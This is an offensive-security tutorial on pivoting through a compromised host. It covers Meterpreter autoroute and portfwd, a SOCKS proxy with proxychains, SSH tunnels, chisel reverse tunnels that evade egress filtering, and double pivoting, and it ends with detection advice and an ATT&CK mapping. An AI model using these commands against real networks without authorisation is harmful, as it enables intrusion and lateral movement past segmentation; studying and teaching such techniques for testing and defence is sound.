Pivoting

Pivoting is where your entire offensive toolkit — Nmap, NSE, Netcat, Metasploit's auxiliary/exploit modules, Meterpreter — gets reapplied against network segments you couldn't reach at all until you compromised a foothold host. Your Meterpreter guide introduced `autoroute` and `portfwd` briefly under "Networking and Pivoting Commands" — this is the full picture: every pivoting technique, when to use which, and how to actually route your existing tools through a compromised machine.

---

1. What Pivoting Actually Is

Pivoting means using a compromised host as a relay point to reach network segments that aren't directly reachable from your attacking machine — the compromised host becomes a bridge between your position and an otherwise-isolated internal network.

```
You (attacker) ──→ Foothold host (compromised, dual-homed) ──→ Internal network
                     10.10.10.5 (external)                 10.10.20.0/24 (internal-onl
y)
                     10.10.20.5 (internal)
```

The foothold host has **two network interfaces** — one reachable from where you are, one on an internal segment you can't reach directly. This is exactly the Lateral Movement tactic from your MITRE ATT&CK guide (T1090, T1021), made mechanically concrete rather than conceptual.

---

2. Why Pivoting Matters — Real Network Topology

Real corporate networks are almost never flat — a DMZ web server, an internal application tier, a database segment, a domain controller subnet — each typically separated by firewalls/VLANs specifically so that compromising one segment doesn't automatically expose everything else. Pivoting is the direct technique for defeating that segmentation once you have a foothold anywhere inside it.

```
# On a freshly compromised host, ALWAYS check for additiona
l
```

```
# network interfaces — this is a mandatory first step, exac
tly
# like the recon commands table from your Command Injection
guide
meterpreter > ipconfig
```

```
Interface 1: 10.10.10.5   (the network you came from)
Interface 2: 10.10.20.5   (a network you've never seen before — THIS is your pivoting
target)
```

Seeing a second interface on an unfamiliar subnet is the single strongest signal that pivoting opportunity exists — worth checking on **every** foothold you gain, even ones that don't seem obviously significant at first.

---

3. Metasploit's `autoroute` — The Framework-Native Approach

Introduced briefly in your Meterpreter guide — this is the deepest and most tightly-integrated pivoting method, since it makes the newly-reachable subnet available to **every other Metasploit module automatically**, not just a single forwarded connection.

```
meterpreter > run autoroute -s 10.10.20.0/24
[*] Adding a route to 10.10.20.0/255.255.255.0...
[+] Added route to 10.10.20.0/255.255.255.0 via 10.10.10.5

meterpreter > run autoroute -p          # print current rou
tes, confirm it took
```

What this actually unlocks: once the route is added, any subsequent `set RHOSTS 10.10.20.0/24` on **any other module** — an auxiliary scanner, an exploit, another post module — automatically routes its traffic through this session, transparently. You can now run your Nmap-integrated `db_nmap` scan (your Metasploit Framework guide, Section 10) or an SMB enumeration auxiliary module (your Exploit/Auxiliary/Post guide, Section 8) directly against the internal 10.10.20.0/24 subnet, exactly as if you were sitting on that network yourself.

```
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.20.
0/24
msf6 auxiliary(scanner/portscan/tcp) > run
```

---

4. `portfwd` — Forwarding a Single Specific Port

Introduced briefly in your Meterpreter guide — worth understanding precisely when this is the better choice over `autoroute`: `portfwd` is narrower and more surgical, forwarding **one specific port** rather than opening up an entire subnet to Metasploit's module framework.

```
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.20.5
[*] Local TCP relay created: 127.0.0.1:3389 <-> 10.10.20.5:
3389

meterpreter > portfwd list
meterpreter > portfwd delete -l 3389 -p 3389 -r 10.10.20.5
```

```
-l   → LOCAL port (on YOUR attacking machine)
-p    → target PORT on the remote/internal host
-r      → the REMOTE/internal host's IP
```

Why this matters specifically: once forwarded, you can point a completely **non-Metasploit** tool at `127.0.0.1:3389` on your own machine — a real RDP client, a browser, Burp Suite, whatever the specific port calls for — and it transparently reaches the internal `10.10.20.5:3389` through the compromised host's tunnel. This is the right tool when you need to interact with an internal service using its **native, full-featured client application** rather than through a Metasploit module.

---

5. SOCKS Proxy — Routing Arbitrary Tools Through the Pivot

`autoroute` only benefits *Metasploit's own modules*. `portfwd` only forwards *one specific port at a time*. A **SOCKS proxy** solves both limitations at once — it lets you route **any** external tool's traffic (Nmap, your browser, curl, sqlmap, anything) through the compromised host's network position, for **any** port, dynamically.

```
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j          # run
as a background job
```

Pairing with `proxychains` to route standard tools through it:

```
# /etc/proxychains4.conf
socks5 127.0.0.1 1080
```

```
proxychains nmap -sT -Pn 10.10.20.0/24
proxychains curl http://10.10.20.10
proxychains sqlmap -u http://10.10.20.10/page?id=1
```

Critical practical detail: SOCKS proxying only supports **TCP connect scans** for Nmap (`-sT`), never SYN scans (`-sS`) — the proxy has to complete a full TCP handshake to relay the connection, which structurally rules out SYN scanning's half-open technique. Also always add `-Pn` (skip host discovery, from your Nmap guide) since ICMP typically doesn't traverse a SOCKS proxy at all — worth remembering this exact combination, since forgetting `-Pn` through a SOCKS proxy is one of the most common "why is my scan through the pivot showing everything down" mistakes.

This is genuinely the most flexible pivoting method in your whole toolkit — it's the one technique that lets you reuse **every** tool from this entire series (Nmap/NSE, sqlmap from your SQLi guide, Wapiti/ZAP from your web security guides, Enum4linux/SMBMap) against an internal network, unmodified, just prefixed with `proxychains`.

---

6. Non-Metasploit Pivoting — SSH Tunneling

Not every foothold gives you a Meterpreter session — sometimes you land on a Linux box with only SSH access, or you want a pivoting method independent of Metasploit entirely. SSH's built-in tunneling covers this, and directly extends your earlier network-tool knowledge.

a) Local Port Forwarding — Same Concept as `portfwd`

```
ssh -L 3389:10.10.20.5:3389 user@10.10.10.5
```

Connect to `127.0.0.1:3389` on your own machine, and SSH transparently relays it to `10.10.20.5:3389` through the compromised host — functionally identical to Meterpreter's `portfwd`, just using SSH as the transport instead of a Meterpreter session.

b) Dynamic Port Forwarding — Same Concept as the SOCKS Proxy

```
ssh -D 1080 user@10.10.10.5
```

This turns SSH itself into a SOCKS proxy — pair with `proxychains` exactly as in Section 5:

```
proxychains nmap -sT -Pn 10.10.20.0/24
```

Why this matters: if you have SSH access to a foothold (even just a low-privilege user account, no Metasploit session at all) this single flag gives you the same full-network-pivoting capability as Metasploit's SOCKS proxy module, using a tool that's present on virtually every Linux system by default — genuinely valuable when you specifically want to avoid dropping any additional tooling on the compromised host at all.

c) Remote Port Forwarding — The Reverse Direction

```
ssh -R 4444:127.0.0.1:4444 user@10.10.10.5
```

Exposes a port on **your own attacking machine** to the remote/compromised host — useful when you need the compromised host (or something it can reach) to connect back to a listener on your side, conceptually related to your

Netcat guide's reverse shell logic, just tunneled through an established SSH connection instead of a raw new connection.

---

7. `chisel` — A Modern, Firewall-Friendly Alternative

Worth knowing as the contemporary go-to when SSH isn't available on the target and you need a fast, single-binary tunneling tool:

```
# On your attacking machine (server mode)
chisel server -p 8000 --reverse

# On the compromised host (client mode, connecting back)
chisel client 10.10.10.1:8000 R:socks
```

`chisel` runs entirely over HTTP/WebSocket, making it considerably more likely to slip through restrictive egress filtering than a raw SOCKS/SSH connection would — genuinely useful as a fallback when your first-choice pivoting method gets blocked by the target's outbound firewall rules, echoing the exact same egress-filtering considerations from your msfvenom guide's staged-payload discussion.

---

8. Double Pivoting — Chaining Through Multiple Hosts

Real internal networks are sometimes segmented multiple layers deep — you compromise host A, which can reach host B, which can reach the actual target segment C, with no direct path from A to C.

```
You → Host A (foothold) → Host B (second pivot) → Target segment C
```

```
# Session 1: pivot through Host A into Host B's subnet
meterpreter (session 1) > run autoroute -s <Host B's subnet
>/24

# Compromise Host B, background session 1, work with sessio
n 2
```

```
meterpreter (session 2) > run autoroute -s <segment C's sub
net>/24
```

Metasploit's routing table stacks — traffic destined for segment C gets routed through session 2 (Host B), and session 2's own traffic (since it's reached via session 1) gets transparently routed through session 1 (Host A) in turn. This chains cleanly using `autoroute`, and equally works by chaining SSH's `-D` dynamic forwarding through successive `ssh` hops or nesting `proxychains` configurations pointing at successive SOCKS proxies.

---

9. Detecting Pivoting Opportunities — A Practical Checklist

```
# On any freshly compromised host, ALWAYS check:
ipconfig / ifconfig          # multiple interfaces? Differe
nt subnets?
route print / route -n         # existing routes reveal wha
t THIS host already knows how to reach
arp -a      # ARP cache reveals hosts this machine has rece
ntly talked to, even ones you haven't scanned yet
netstat -ano     # existing connections may reveal internal
services this host regularly talks to
cat /etc/hosts     # sometimes reveals internal hostnames/I
Ps not otherwise discoverable
```

This is genuinely the same "build a complete picture before acting" discipline from your Enum4linux and SMB/LDAP/RPC enumeration guides, just redirected toward mapping the *network* reachable from this specific vantage point instead of mapping a single host's users/shares.

---

10. Practical Full Workflow — Tying Everything Together

```
# 1. Compromise the foothold host (per your Metasploit Fram
ework
#    and msfvenom guides)
meterpreter > sysinfo
```

```
meterpreter > ipconfig
# → discover a second interface: 10.10.20.5

# 2. Add the route
meterpreter > run autoroute -s 10.10.20.0/24
meterpreter > background

# 3. Scan the newly-reachable internal subnet using Metasploit's
#    own modules (auto-routed)
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.10.20.0/24
msf6 auxiliary(...) > run

# 4. For deeper scanning with YOUR full toolkit (Nmap/NSE, sqlmap,
#    ZAP, Enum4linux) - set up a SOCKS proxy instead
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > run -j

# 5. Reuse your ENTIRE existing toolkit from across this series,
#    just prefixed with proxychains
proxychains nmap -sV -sT -Pn 10.10.20.10
proxychains enum4linux -a 10.10.20.10
proxychains msfconsole    # even chain Metasploit itself through
                              the proxy for a SECOND exploitation
                              attempt against the newly-reached host

# 6. If you gain a session on the internal host, repeat the process -
#    double pivot deeper if the network is segmented further
```

11. Detection/Defensive Angle (SOC Relevance)

```
- A single host suddenly generating traffic to MANY internal IPs
  it's never contacted before (visible via NetFlow/internal traffic
  monitoring) is a strong lateral-movement/pivoting indicator -
  directly detectable via the same baseline-then-deviation principle
  from your tcpdump guide's traffic-baselining discussion
- Unusual outbound connections on non-standard ports (SOCKS proxy
  traffic, chisel's HTTP/WebSocket tunnel) from a server that should
  only ever talk to a narrow set of known internal services is
  exactly the kind of anomaly a properly-tuned SIEM/network
  monitoring rule should flag
- Network segmentation itself (VLANs, internal firewalls, the
  Zero Trust principle of not implicitly trusting internal traffic)
  is the primary DEFENSE against pivoting - worth explicitly noting
  in any VAPT report's remediation section when a successful pivot
  demonstrates that internal segmentation is weaker than assumed
- Monitoring for new/unexpected listening ports on internal hosts
  (portfwd, chisel, SSH dynamic forwarding all open a locally-bound
  port) is a detectable artifact on the compromised host itself,
  catchable via the same process/connection enumeration techniques
  from your Netcat and Windows Services guides
```

Kill Chain / ATT&CK Mapping

Pivoting Technique	MITRE ATT&CK
`autoroute` / SOCKS proxy / SSH dynamic forwarding	T1090 (Proxy), specifically T1090.001 (Internal Proxy)
`portfwd` / SSH local forwarding	T1090, T1572 (Protocol Tunneling)
`chisel` (HTTP/WebSocket tunnel)	T1572 (Protocol Tunneling) — specifically evading egress filtering
Reaching a new internal segment at all	T1021 (Remote Services), broader Lateral Movement tactic

Quick Reference Cheat Sheet

```
# Metasploit autoroute (benefits ALL Metasploit modules)
run autoroute -s <subnet>/24
run autoroute -p                          # confirm routes
```

```
# portfwd (single port, native client tools)
portfwd add -l <local_port> -p <remote_port> -r <internal_i
p>
portfwd list / portfwd delete ...

# SOCKS proxy (ANY tool, ANY port)
use auxiliary/server/socks_proxy
set SRVPORT 1080 ; set VERSION 5 ; run -j
proxychains <any tool>                    # e.g. nmap -sT -P
n <subnet>

# SSH tunneling (no Metasploit needed)
ssh -L <local_port>:<internal_ip>:<internal_port> user@foot
hold   # local fwd
ssh -D 1080 user@foothold
# dynamic (SOCKS)
ssh -R <your_port>:127.0.0.1:<your_port> user@foothold
# remote fwd

# chisel (firewall-evasive, no SSH needed)
chisel server -p 8000 --reverse                          # att
acker side
chisel client <attacker_ip>:8000 R:socks                  # t
arget side

# Always check for pivot opportunity on every new foothold:
ipconfig/ifconfig | route print/route -n | arp -a | netstat
-ano
```